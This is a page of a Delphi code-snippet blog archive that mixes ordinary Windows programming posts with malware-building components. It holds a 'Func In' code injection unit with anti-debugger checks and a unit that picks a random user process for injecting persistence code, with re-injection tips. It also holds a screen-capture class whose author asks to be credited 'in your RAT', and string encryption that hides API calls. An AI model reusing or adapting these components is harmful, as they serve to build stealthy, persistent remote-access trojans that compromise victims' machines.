Delphi Basics Snippets

Delphi Basics Snippets Archive: Archive: Delphi Basics Snippets
Subscribe to posts

Voik Func In

posted 26 Jan 2012, 13:45 by Delphi Basics

This unit has been coded to facilitate simple use of the otherwise advanced "Func In" technique.

Functions can be written normally. This version also supports:
+ Static strings
+ Functions calls
+ Parameters

Client Example:
program Client;
//Voik
uses
  Windows,
  VoikClientFuncIn;

function IsDebuggerPresent(): Boolean; stdcall; external kernel32 name 'IsDebuggerPresent';

procedure AntiDebugger1(Parameters: Pointer); stdcall;
begin
  if IsDebuggerPresent() then
    ExitProcess(0);
end;

procedure AntiDebugger2(Parameters: Pointer); stdcall;
begin
  OutputDebugString('%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s');
end;

procedure ShowMessage(Parameters: Pointer); stdcall;
begin
  MessageBox(0, pChar(Parameters), 'Voik', MB_OK);
end;

const
  MSG = 'No debbuger!';
var
  FuncIn: TVoikFuncIn;
begin
  FuncIn := TVoikFuncIn.Create('Stub.exe');
  FuncIn.AddFunction(AntiDebugger1);
  FuncIn.AddFunction(AntiDebugger2);
  FuncIn.AddFunction(ShowMessage, pChar(MSG), Length(MSG) + 1);
  FuncIn.SaveFunctions();
end.

Respective Server Example:
program Stub;
//Voik
uses
  VoikServerFuncIn;

begin
  VoikFuncIn();
end.

Only delphi source code is included in the archive.

| Attachments: VoikFuncIn.rar

uGetProcess - Retrieve Injectable 32-bit Process

posted 26 Nov 2011, 10:15 by Delphi Basics

This Unit is Made by Snify and MindfreaK together.
We went bored and searched for an x64 persistence method.
U can easily write your own x64 persistence with this , 
just write ur persistence dll or codeinjection and inject it
into an process u have found with GetInjectAbleProcess.

WARNING: Remember, the Process is chosen randomly and could be terminated
by itself , so u need an re-inject system which checks for an running
persistence module/dll/codeinjection. ( TIPP: Communicate via Mutex )

{
     This Unit is Made by Snify and MindfreaK together.
We went bored and searched for an x64 persistence method.
U can easily write your own x64 persistence with this , 
just write ur persistence dll or codeinjection and inject it
into an process u have found with GetInjectAbleProcess.
 
WARNING: Remember, the Process is chosen randomly and could be terminated
by itself , so u need an re-inject system which checks for an running
persistence module/dll/codeinjection. ( TIPP: Communicate via Mutex )
      
     - OpenSC.WS -
 
}
unit uGetProcess;

interface

uses SysUtils,TlHelp32,Windows;

function GetInjectAbleProcess() : Integer;

implementation

  type
  PTOKEN_USER = ^TOKEN_USER;
  _TOKEN_USER = record
    User: TSidAndAttributes;
  end;
  TOKEN_USER = _TOKEN_USER; 

function GetUserAndDomainFromPID(ProcessId: DWORD;
  var User, Domain: string): Boolean;
var
  hToken: THandle;
  cbBuf: Cardinal;
  ptiUser: PTOKEN_USER;
  snu: SID_NAME_USE;
  ProcessHandle: THandle;
  UserSize, DomainSize: DWORD;
  bSuccess: Boolean;
begin
  Result := False;
  ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId);
  if ProcessHandle <> 0 then
  begin
  //  EnableProcessPrivilege(ProcessHandle, 'SeSecurityPrivilege', True);
    if OpenProcessToken(ProcessHandle, TOKEN_QUERY, hToken) then
    begin
      bSuccess := GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf);
      ptiUser  := nil;
      while (not bSuccess) and (GetLastError = ERROR_INSUFFICIENT_BUFFER) do
      begin
        ReallocMem(ptiUser, cbBuf);
        bSuccess := GetTokenInformation(hToken, TokenUser, ptiUser, cbBuf, cbBuf);
      end;
      CloseHandle(hToken);

      if not bSuccess then
      begin
        Exit;
      end;

      UserSize := 0;
      DomainSize := 0;
      LookupAccountSid(nil, ptiUser.User.Sid, nil, UserSize, nil, DomainSize, snu);
      if (UserSize <> 0) and (DomainSize <> 0) then
      begin
        SetLength(User, UserSize);
        SetLength(Domain, DomainSize);
        if LookupAccountSid(nil, ptiUser.User.Sid, PChar(User), UserSize,
          PChar(Domain), DomainSize, snu) then
        begin
          Result := True;
          User := StrPas(PChar(User));
          Domain := StrPas(PChar(Domain));
        end;
      end;

      if bSuccess then
      begin
        FreeMem(ptiUser);
      end;
    end;
    CloseHandle(ProcessHandle);
  end;
end;


function IsWOW64: Boolean;
type
  TIsWow64Process = function(Handle: THandle;var Res: BOOL): BOOL; stdcall;
var
  IsWow64Result: BOOL;
  IsWow64Process: TIsWow64Process;
begin
  IsWow64Process := GetProcAddress(
    GetModuleHandle('kernel32'), 'IsWow64Process'
  );
  if Assigned(IsWow64Process) then
  begin
    IsWow64Process(GetCurrentProcess, IsWow64Result);
    Result := IsWow64Result;
  end
  else
    Result := False;
end;

Function GetUserFromWindows: string;
Var
   UserName : string;
   UserNameLen : Dword;
Begin
   UserNameLen := 255;
   SetLength(userName, UserNameLen) ;
   If GetUserName(PChar(UserName), UserNameLen) Then
     Result := Copy(UserName,1,UserNameLen - 1)
   Else
     Result := 'Unknown';
End;

function GetInjectAbleProcess() : Integer;    // 32 bit only
var
bProcess: boolean;
hProcess: THandle;
pe32Structur:  TProcessEntry32;
sUser: string;
sDomain: string;
sWindowsUser: string;
TIsWow64Process : function( Handle: Windows.THandle; var Res: Windows.BOOL): Windows.BOOL; stdcall;
hOpen: THandle;
bIsWOW64: BOOL;
bError: boolean;
array_PID : array of integer;
pidcounter : Integer;
begin
pidcounter := 0;


   sWindowsUser := GetUserFromWindows;
   pe32Structur.dwSize:=Sizeof(TProcessEntry32);
   hProcess :=CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);

   If IsWow64 = true then
   begin

          TIsWow64Process := GetProcAddress(GetModuleHandle('kernel32'), 'IsWow64Process');
          if Assigned(TIsWow64Process) then
          begin
           // Writeln ( 'API geladen.' )
          end;
   end;


   if Process32first(hProcess,pe32structur) then
   begin
     //Writeln ( IntToStr (pe32Structur.th32ProcessID) );
     repeat bProcess:=Process32Next(hProcess,pe32structur);
        if GetCurrentProcessID <> pe32Structur.th32ProcessID then
        begin
           bError := false;
           if bProcess = true then
           begin
             GetUserAndDomainFromPID(pe32Structur.th32ProcessID,sUser, sDomain);
             if sWindowsUser = sUser then
             begin
               if IsWOW64 = true then   //wenn 64
               begin
                 //Writeln ('OpenProcess: '+IntToStr(pe32Structur.th32ProcessID));
                 hOpen :=  Windows.OpenProcess ( PROCESS_QUERY_INFORMATION , false , pe32Structur.th32ProcessID );
                 if hOpen = 0  then
                 begin
                   //Writeln ('OpenProcess gescheitert.');
                   bError := true;
                 end;

                 if bError = false then
                 begin


                TIsWow64Process ( hOpen , bIsWOW64 );
                CloseHandle ( hOpen );


                if  bIsWOW64 = false  then
                begin
                //  Writeln ( '64Bit: '+IntToStr(pe32Structur.th32ProcessID) )
                end;

                if  bIsWOW64 = true  then
                begin
                  //Writeln ( {'32Bit: '+}IntToStr(pe32Structur.th32ProcessID) );
                  SetLength(array_PID, pidcounter+1);
                  array_PID[pidcounter] := pe32Structur.th32ProcessID;
                  inc(pidcounter);
                end;
                 end;
               end;


               if ISWOW64 = false then    //Wenn 32
               begin
                  //Writeln (  IntToStr (pe32Structur.th32ProcessID) );
                  SetLength(array_PID, pidcounter+1);
                  array_PID[pidcounter] := pe32Structur.th32ProcessID;
                  inc(pidcounter);
               end;
             end;
           end;
        end;
     until not bProcess;
   end;
   CloseHandle ( hProcess );

   {$IFDEF Debug}
   for pidcounter := 0 to Length(array_PID) -1 do begin
       writeln ('INDEX['+inttostr(pidcounter)+']  ' + inttostr(array_PID[pidcounter]));
   end;
   {$ENDIF}

   randomize;
   result := array_PID[1 + random (Length(array_PID)-1)];


end;

end.

Smallest System.pas and SysInit.pas - Windows XP, Vista & 7

posted 4 Aug 2011, 12:45 by Delphi Basics

Inspired by Small Applications in Delphi - Tutorial by n0v4, these "Mini-Delphi" units (identification by PEiD) have been updated to work with all Windows NT operating systems. 

System.pas
unit System; 

interface

procedure _Halt0;
procedure _HandleFinally; 

type
  TGUID = record
    D1: LongWord;
    D2: Word;
    D3: Word;
    D4: array [0..7] of Byte;
  end;

var
  ExitCode: Integer = 0; 
  
procedure ExitProcess(ExitCode: Integer); stdcall; external 'kernel32.dll' name 'ExitProcess';

implementation

procedure _Halt0;
begin
  ExitProcess(ExitCode);
end;

procedure _HandleFinally;
asm
end;

end.

SysInit.pas
unit SysInit;

interface

procedure _InitExe(InitTable: Pointer);

var
  TlsIndex: Integer = -1;   
  TlsLast: Byte;    
const
  PtrToNil: Pointer = nil;

implementation

procedure _InitExe(InitTable: Pointer);
begin
end;

end.

Glass Effect in a Delphi Console Application

posted 4 Aug 2011, 12:35 by Delphi Basics

To apply a nice glass effect to our console applications we must use the DwmEnableBlurBehindWindow function (Only available in Windows Vista and Windows 7). 


Author: Rodrigo Ruz


program ConsoleGlassDelphi;
//Author  : Rodrigo Ruz 2009-10-26
{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils;

type
  DWM_BLURBEHIND = record
    dwFlags                 : DWORD;
    fEnable                 : BOOL;
    hRgnBlur                : HRGN;
    fTransitionOnMaximized  : BOOL;
  end;

function DwmEnableBlurBehindWindow(hWnd : HWND; const pBlurBehind : DWM_BLURBEHIND) : HRESULT; stdcall; external  'dwmapi.dll' name 'DwmEnableBlurBehindWindow';//function to enable the glass effect
function GetConsoleWindow: HWND; stdcall; external kernel32 name 'GetConsoleWindow'; //get the handle of the console window

function DWM_EnableBlurBehind(hwnd : HWND; AEnable: Boolean; hRgnBlur : HRGN = 0; ATransitionOnMaximized: Boolean = False; AFlags: Cardinal = 1): HRESULT;
var
  pBlurBehind : DWM_BLURBEHIND;
begin
  pBlurBehind.dwFlags:=AFlags;
  pBlurBehind.fEnable:=AEnable;
  pBlurBehind.hRgnBlur:=hRgnBlur;
  pBlurBehind.fTransitionOnMaximized:=ATransitionOnMaximized;
  Result:=DwmEnableBlurBehindWindow(hwnd, pBlurBehind);
end;

begin
  try
    DWM_EnableBlurBehind(GetConsoleWindow(), True);
    Writeln('See my glass effect');
    Writeln('Go Delphi Go');
    Readln;
  except
    on E:Exception do
      Writeln(E.Classname, ': ', E.Message);
  end;
end.

Detect Aero Glass using Delphi

posted 4 Aug 2011, 12:34 by Delphi Basics

To detect if Aero Glass is enabled we must use the DwmIsCompositionEnabled function. 


Author: Rodrigo Ruz

program DetectAeroDelphi;
{$APPTYPE CONSOLE}
//Author Rodrigo Ruz 2009-10-26
uses
  Windows,
  SysUtils;

function  ISAeroEnabled: Boolean;
type
  _DwmIsCompositionEnabledFunc = function(IsEnabled: PBoolean): HRESULT; stdcall;
var
  Flag                       : Boolean;
  DllHandle                  : THandle;
  OsVersion                  : TOSVersionInfo;
  DwmIsCompositionEnabledFunc: _DwmIsCompositionEnabledFunc;
begin
  Result:=False;
  ZeroMemory(@OsVersion, SizeOf(OsVersion));
  OsVersion.dwOSVersionInfoSize := SizeOf(TOSVERSIONINFO);

  if ((GetVersionEx(OsVersion)) and (OsVersion.dwPlatformId = VER_PLATFORM_WIN32_NT) and (OsVersion.dwMajorVersion >= 6)) then //is Vista or Win7?
  begin
    DllHandle := LoadLibrary('dwmapi.dll');
    if DllHandle <> 0 then
    begin
      @DwmIsCompositionEnabledFunc := GetProcAddress(DllHandle, 'DwmIsCompositionEnabled');
      if (@DwmIsCompositionEnabledFunc <> nil) then
      begin
        DwmIsCompositionEnabledFunc(@Flag);
        Result:=Flag;
      end;
    end;
      FreeLibrary(DllHandle);
  end;
end;

begin
  try
    if ISAeroEnabled then
    Writeln('Aero Glass enabled')
    else
    Writeln('Aero Glass disabled');
    Readln;
  except
    on E:Exception do
      Writeln(E.Classname, ': ', E.Message);
  end;
end.

Using NtDeleteFile from Delphi

posted 4 Aug 2011, 12:27 by Delphi Basics

The native API NtDeleteFile performs the same task as the user-mode API DeleteFile, but interestingly enough, the user-mode API does not call the native API to perform it’s task. As explained here, normally files are deleted through calls to NtSetInformationFile. The main difference in behavior comes from the fact that NtDeleteFile does not wait for handles on the file to close before deleting it (note that if the file is “open for normal I/O or as a memory-mapped file”, it still can’t be deleted, so only read-only handles will be ignored). 

Source:

The required structures (not defined in Delphi) are:

UNICODE_STRING
PUNICODE_STRING = ^UNICODE_STRING;
UNICODE_STRING = packed record
   Length: Word;
   MaximumLength: Word;
   Buffer: PWideChar;
   end;


OBJECT_ATTRIBUTES.
POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
OBJECT_ATTRIBUTES = packed record
   Length: Cardinal;
   RootDirectory: THandle;
   ObjectName: PUNICODE_STRING;
   Attributes: Cardinal;
   SecurityDescriptor: Pointer;
   SecurityQualityOfService: Pointer;
   end;

The steps to remove the file are:

  1. Convert the “DOS” path name to an “NT” path name (basically prepend “\??\” to whatever the plain path is) using RtlDosPathNameToNtPathName_U;
  2. Fill in the OBJECT_ATTRIBUTES structure;
  3. Call NtDeleteFile.

Using the afore-linked-to type definitions, we still need to import the native APIs:
function NtDeleteFile(ObjectAttributes:POBJECT_ATTRIBUTES):DWORD; stdcall; external 'ntdll.dll';
function RtlDosPathNameToNtPathName_U(DosName:PWChar; var NtName:UNICODE_STRING; DosFilePath:PPChar; NtFilePath:PUNICODE_STRING):BOOL; stdcall; external 'ntdll.dll';

Do note that this statically links the imported functions, making the whole application unable to load if the undocumented APIs are not present on the system (at least for Windows 2000 and XP they should be).

Converting the DOS path name to a native path is done by the RtlDosPathNameToNtPathName_U API, which takes in a PWChar argument containing the DOS path and a pre-allocated UNICODE_STRING structure of MAX_PATH WideChars and returns True if it has successfully converted the path.

program NativeDelete;
//cswi - www.delphibasics.info
//Vlad Ioan Topan - http://vtopan.wordpress.com
uses
  Windows;

type
  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = packed record
    Length: Cardinal;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: Cardinal;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
  end;

procedure RtlInitUnicodeString(DestinationString: PUnicodeString; SourceString: LPWSTR); stdcall; external 'ntdll.dll';
function NtDeleteFile(ObjectAttributes: PObjectAttributes): DWORD; stdcall; external 'ntdll.dll';
function RtlDosPathNameToNtPathName_U(DosName: PWChar; var NtName: TUnicodeString; DosFilePath: PPChar; NtFilePath: PUnicodeString):BOOL; stdcall; external 'ntdll.dll';

procedure InitializeObjectAttributes(var InitializedAttributes: TObjectAttributes;
                                     ObjectName: PUnicodeString;
                                     Attributes: ULONG;
                                     RootDirectory: THandle;
                                     SecurityDescriptor: Pointer;
                                     SecurityQualityOfService : Pointer);
begin
  InitializedAttributes.Length := SizeOf(TObjectAttributes);
  InitializedAttributes.RootDirectory := RootDirectory;
  InitializedAttributes.Attributes := Attributes;
  InitializedAttributes.ObjectName := ObjectName;
  InitializedAttributes.SecurityDescriptor := SecurityDescriptor;
  InitializedAttributes.SecurityQualityOfService := SecurityQualityOfService;
end;

function _DeleteFile(wsFileName: WideString):DWORD;
var
   ObjectAttributes: TObjectAttributes;
   UnicodeString: TUnicodeString;
begin
   Result := $C0000001; // STATUS_UNSUCCESSFUL, "generic" error
   RtlInitUnicodeString(@UnicodeString, @wsFileName);
   RtlDosPathNameToNtPathName_U(@wsFileName[1], UnicodeString, nil, nil);
   InitializeObjectAttributes(ObjectAttributes, @UnicodeString, $40, 0, nil, nil);
   Result := NtDeleteFile(@ObjectAttributes); // pass on the NTSTATUS
end;

const
  wsFileName : PWideChar = 'C:\GoogleLogo.png';
begin
  _DeleteFile(wsFileName);
end.

Undocumented MessageBoxTimeOut function

posted 4 Aug 2011, 12:26 by Delphi Basics

There are lots of neat little things that are in many of the DLLs that Microsoft has installed in Windows. Most of them are documented in the Win32 API. However, there are a lot of them that are undocumented. This article shows how to use one of the undocumented functions available in user32.dll, MessageBoxTimeOut. 

This type of functionality for a MessageBox has been requested on the Delphi newsgroups many times and there have been several solutions written. After being introduced in XP, this functionality is now available to developers using this undocumented API. 


Since this function is not documented, it is not found in Windows.pas, so it has to be defined. It is identical to the MessageBox API definition except it has two more parameters, wLanguageID and dmMilliseconds. 

function MessageBoxTimeOut( 
      hWnd: HWND; lpText: PChar; lpCaption: PChar; 
      uType: UINT; wLanguageId: WORD; dwMilliseconds: DWORD): Integer; stdcall;
function MessageBoxTimeOutA( 
      hWnd: HWND; lpText: PChar; lpCaption: PChar; 
      uType: UINT; wLanguageId: WORD; dwMilliseconds: DWORD): Integer; stdcall;

function MessageBoxTimeOutW( 
      hWnd: HWND; lpText: PWideChar; lpCaption: PWideChar; 
      uType: UINT; wLanguageId: WORD; dwMilliseconds: DWORD): Integer; stdcall;

implementation 

// this const is not defined in Windows.pas 
const 
  MB_TIMEDOUT = 32000; 

function MessageBoxTimeOut; externaluser32 name 'MessageBoxTimeoutA'; 
function MessageBoxTimeOutA; external user32 name 'MessageBoxTimeoutA'; 
function MessageBoxTimeOutW; external user32 name 'MessageBoxTimeoutW';

Now, to call the function, it is as easy as setting the flags and making the call. There may be other results returned that I am not aware of besides the standard IDxxx return values and the MB_TIMEDOUT result defined above. 

var 
  iResult: Integer; 
  iFlags: Integer; 
begin 
  // Define a MessagBox  with an OK button and a timeout of 2 seconds 
  iFlags  := MB_OK or MB_SETFOREGROUND or MB_SYSTEMMODAL or MB_ICONINFORMATION;
  iResult := MessageBoxTimeout( 
   Application.Handle, 
   'Test a timeout of 2 seconds.', 
   'MessageBoxTimeout Test', iFlags, 0, 2000); 

  // iResult will = 1 (IDOK) 
  ShowMessage(IntToStr(iRet)); 

  // Define a MessageBox with a Yes and No button and a timeout of 5 seconds 
  iFlags  := MB_YESNO or MB_SETFOREGROUND or MB_SYSTEMMODAL or MB_ICONINFORMATION; 

  iResult := MessageBoxTimeout( 
    Application.Handle, 
    'Test a timeout of 5 seconds.', 
    'MessageBoxTimeout Test', iFlags, 0, 5000); 

  // iResult = MB_TIMEDOUT if no buttons clicked, otherwise 
  // iResult will return the value of the button clicked 

  case iResult of 
  IDYES:  // Pressed Yes button 
    ShowMessage('Yes'); 

  IDNO:  // Pressed the No button 
    ShowMessage('No'); 

  MB_TIMEDOUT: // MessageBox timed out 
    ShowMessage('TimedOut'); 
  end; 
end;

I presume Borland will not put this into Windows.pas until Microsoft documents it but developers can get a head start on them by using the code above. It is unlikely that Microsoft will depricate this function for quite some time because all of the standard MessageBox API calls actually call MessageBoxTimeOutA or MessageBoxTimeoutW and pass $FFFFFFFF as the timeout period meaning the dialog will wait a very long time, approx 49 days!

Screen Scanner - Psychlo

posted 28 Jul 2011, 11:46 by Delphi Basics

"Just got inspired last night and decided to start a class to get the screen in "blocks" and check which one has changed to update only those." 

(* ********************************
*  uScreenScanner.pas             *
*  version: 1.0                   *
*  by Psychlo                     *
*                                 *
*  15/07/2011                     *
*  ic0de.org                      *
*                                 *
*  Music: Breaking Benjamin       *
*                                 *
*  Add me into the credits of     *
*    your RAT ;)                  *
*                                 *
*  Thanks to:                     *
*    iC0de Community              *
*    Torry's Delphi Page          *
*    givex8                       *
*    Protocol                     *
*    dn5                          *
******************************** *)

unit uScreenScanner;

interface

uses
  Windows, SysUtils, Graphics;

const
  ERRORMSG_INCORRECT_WIDTH = 'Width must be multiple of 8!';
  ERRORMSG_INCORRECT_HEIGHT = 'Height must be multiple of 8!';

type
  TBmpPack = packed record
    Bmp: TBitmap;
    Modified: Boolean;
  end;
  TBmpArray = Array of TBmpPack;

  TScreenScanner = class

    private
      fDivScreen: Integer;
      fScreenWidth, fScreenHeight: Integer;
      fWatchRect: TRect;
      fScreenArray: Array of TBmpArray;

      function CompareBitmap(Bmp1, Bmp2 : TBitmap): Integer;
    published
      constructor Create(
        const DivScreen: Integer = 8;
        const X: Integer = 0;
        const Y: Integer = 0;
        const Width: Integer = 0;
        const Height: Integer = 0
      );

      destructor Destroy; override;

      procedure ScanScreen;
      function GetSnapshot(lpRect: TRect): TBitmap;
      function GetBitmapRect(lpRect: TRect; Bitmap: TBitmap): TBitmap;
      function GetBmpPack(i, j: Integer): TBmpPack;
      function IsBmpPackModified(i, j: Integer): Boolean;

      property ColumnCount: Integer read fDivScreen;
      property RowCount: Integer read fDivScreen;
      property ScreenWidth: Integer read fScreenWidth;
      property ScreenHeight: Integer read fScreenHeight;
  end;

implementation
//... to be continued in attachment ;) ...

Basically this project does this:
Gets a snapshot of the screen;
Saves it in a matrix 8x8;
Updates the blocks that changes;
Shows the blocks in a reduced size to fit the form (about 2/3 of your resolution, but that is just me playing around).

So far I have done few tests. In a 1920x1080 and 3 secs update rate resolution considering compression capacity of 15%, gives me about 2~8kb/s for "small changes" in the screen. Of course that if the entire screen changes there are peaks. I found peaks of 400kb/s.

Only Delphi source code is included in the archive.

| Attachments: ScreenScanner.7z

Installed Devices

posted 2 Jun 2011, 17:02 by Delphi Basics

This Delphi source code details how to retrieve a complete list of installed hardware with information. 

Compiled: Delphi 2007. 


Only Delphi source code is included in the archive. 

| Attachments: InstalledDevices.rar

Dynamically Calling Windows Apis With Encryption

posted 26 Apr 2011, 14:07 by Delphi Basics

This short delphi snippet details dynamically calling windows apis with encryption.

program DynamiqueAPI;
//cswi
//www.delphibasics.info
uses
  Windows;

type
  TMessageBoxA = function(Handle : Cardinal;
                          lpText : PAnsiChar;
                          lpCaption : PAnsiChar;
                          uType : Cardinal) : Cardinal; stdcall;

function EnDeCrypt(const Value : String) : String;
var
  CharIndex : integer;
begin
  Result := Value;
  for CharIndex := 1 to Length(Value) do
    Result[CharIndex] := chr(not(ord(Value[CharIndex])));
end;

var
  hUser32 : Cardinal;
  xMessageBoxA : TMessageBoxA;
  sMessageBoxA : PAnsiChar;
begin
  sMessageBoxA := PAnsiChar(EnDeCrypt('²šŒŒž˜š½‡¾'));
  hUser32 := LoadLibraryA('user32.dll');
  @xMessageBoxA := GetProcAddress(hUser32, sMessageBoxA);
  if Assigned(xMessageBoxA) then
    xMessageBoxA(0, 'Hello World', '', 0);
end.

1-10 of 181